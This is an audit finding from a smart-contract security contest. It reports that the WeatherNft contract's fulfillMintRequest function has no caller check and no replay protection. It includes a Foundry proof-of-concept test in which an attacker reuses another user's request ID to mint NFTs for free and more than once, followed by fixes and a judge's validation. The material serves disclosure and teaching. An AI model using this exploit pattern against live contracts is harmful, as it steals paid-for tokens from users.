Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized NFT Minting via RequestId Hijacking

Description

The WeatherNft contract contains critical flaws in its NFT minting workflow:

  • Unauthorized Minting: The fulfillMintRequest function allows any address to mint NFTs using publicly exposed request IDs, bypassing payment and access controls.

  • Duplication Vulnerability: Missing replay protection enables unlimited NFT minting for the same request ID.

  • Incorrect Recipient Assignment: NFTs are minted to msg.sender instead of the original requester.


1. Insecure Access Control in fulfillMintRequest

Location:

function fulfillMintRequest(bytes32 requestId) external {
// No access control checks
_mint(msg.sender, tokenId); // ❌
}

Issue:

  • The function is external and lacks modifiers (e.g., onlyFunctionsRouter), allowing arbitrary addresses to trigger NFT minting.

  • Impact: Attackers can mint NFTs without paying or participating in the minting process.


2. Improper Recipient Assignment

Location:

UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
_mint(msg.sender, tokenId); // ❌ Should be _userMintRequest.user

Issue:

  • The contract ignores the stored user address (_userMintRequest.user) and mints to msg.sender.

  • Impact: Attackers call fulfillMintRequest with stolen request IDs from legitimate users to mint NFTs.


3. Missing Replay Protection

Location:

// No check to prevent reuse of requestId
uint256 tokenId = s_tokenCounter;
s_tokenCounter++; // Token counter increments regardless of requestId status

Issue:

  • The contract does not track whether a requestId has already been used for minting.

  • Impact: A single request ID can mint unlimited NFTs, corrupting the token counter and supply.


4. Exposure of Request IDs

Location:

emit WeatherNFTMintRequestSent(msg.sender, ..., _reqId); // Public event

Issue:

  • Emitting requestId in public events allows attackers to harvest valid IDs for exploitation.


Risk

Likelihood:

  • Trivial. Attackers can easily extract requestId from public blockchain events.

  • Any Ethereum address can call fulfillMintRequest with a valid requestId

  • Common in contracts that decouple request initiation from fulfillment without access control.

  • Front-running or replaying transactions using publicly visible data.

Impact:

  • NFT ownership records become unreliable, devaluing the entire collection.

  • Attackers could resell stolen NFTs or exploit the bug repeatedly.

Proof of Concept

  • Legitimate User Action:

Alice’s requestMintWeatherNFT transaction is broadcasted.

  • Attacker Action:

Bob detects Alice’s transaction, extracts the requestId, and call fulfillMintRequest function.

  • Result:

NFT is minted for Bob using Alice’s requestId.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.29;
import "forge-std/Test.sol";
import "../src/WeatherNft.sol";
contract ExploitWeatherNftTest is Test {
WeatherNft weatherNft;
address alice = address(0x1);
address bob = address(0x2);
address functionsRouter = address(0x3);
function setUp() public {
WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[](1);
weathers[0] = WeatherNftStore.Weather.SUNNY;
string[] memory uris = new string[](1);
uris[0] = "ipfs://sunny";
WeatherNftStore.FunctionsConfig memory config = WeatherNftStore.FunctionsConfig({
source: "function main() { return 0; }",
encryptedSecretsURL: "",
donId: bytes32(0),
subId: 1,
gasLimit: 100000
});
weatherNft = new WeatherNft(
weathers,
uris,
functionsRouter,
config,
1 ether,
0.1 ether,
address(0), // linkToken (mocked)
address(0), // keeperRegistry (mocked)
address(0), // keeperRegistrar (mocked)
200000
);
}
// Exploit 1: Attacker mints NFT without paying by front-running the fulfillment
function testAttack_MintWithoutPaying() public {
// Alice pays and requests mint
vm.deal(alice, 1 ether);
vm.prank(alice);
bytes32 reqId = weatherNft.requestMintWeatherNFT{value: 1 ether}(
"12345",
"US",
false,
0,
0
);
// Simulate Chainlink oracle response (SUNNY weather)
bytes memory response = abi.encode(uint8(0));
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(reqId, response, "");
// Bob exploits by fulfilling the request before Alice
vm.prank(bob);
weatherNft.fulfillMintRequest(reqId);
// Verify Bob owns the NFT
assertEq(weatherNft.ownerOf(1), bob);
assertEq(weatherNft.balanceOf(alice), 0);
}
// Exploit 2: Replay attack with the same requestId
function testAttack_ReplayMintSameRequestId() public {
vm.deal(alice, 1 ether);
vm.prank(alice);
bytes32 reqId = weatherNft.requestMintWeatherNFT{value: 1 ether}(
"12345",
"US",
false,
0,
0
);
// Simulate response
bytes memory response = abi.encode(uint8(0));
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(reqId, response, "");
// Bob mints twice using the same requestId
vm.startPrank(bob);
weatherNft.fulfillMintRequest(reqId); // Mints token 1
weatherNft.fulfillMintRequest(reqId); // Mints token 2
vm.stopPrank();
// Verify two NFTs minted
assertEq(weatherNft.ownerOf(1), bob);
assertEq(weatherNft.ownerOf(2), bob);
}
}

Recommended Mitigation

  • Enforce Access Control in fulfillMintRequest

function fulfillMintRequest(bytes32 requestId) external {
UserMintRequest memory request = s_funcReqIdToUserMintReq[requestId];
require(request.user == msg.sender, "Unauthorized");
require(request.user != address(0), "Request invalid");
// ... existing logic ...
delete s_funcReqIdToUserMintReq[requestId]; // Invalidate requestId
}
  • Prevent RequestId Reuse

    • Add a mapping(bytes32 => bool) public s_processedRequests; to track used requestIds.

    • Invalidate requestId immediately after processing:

    require(!s_processedRequests[requestId], "Request already processed");
    s_processedRequests[requestId] = true;
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.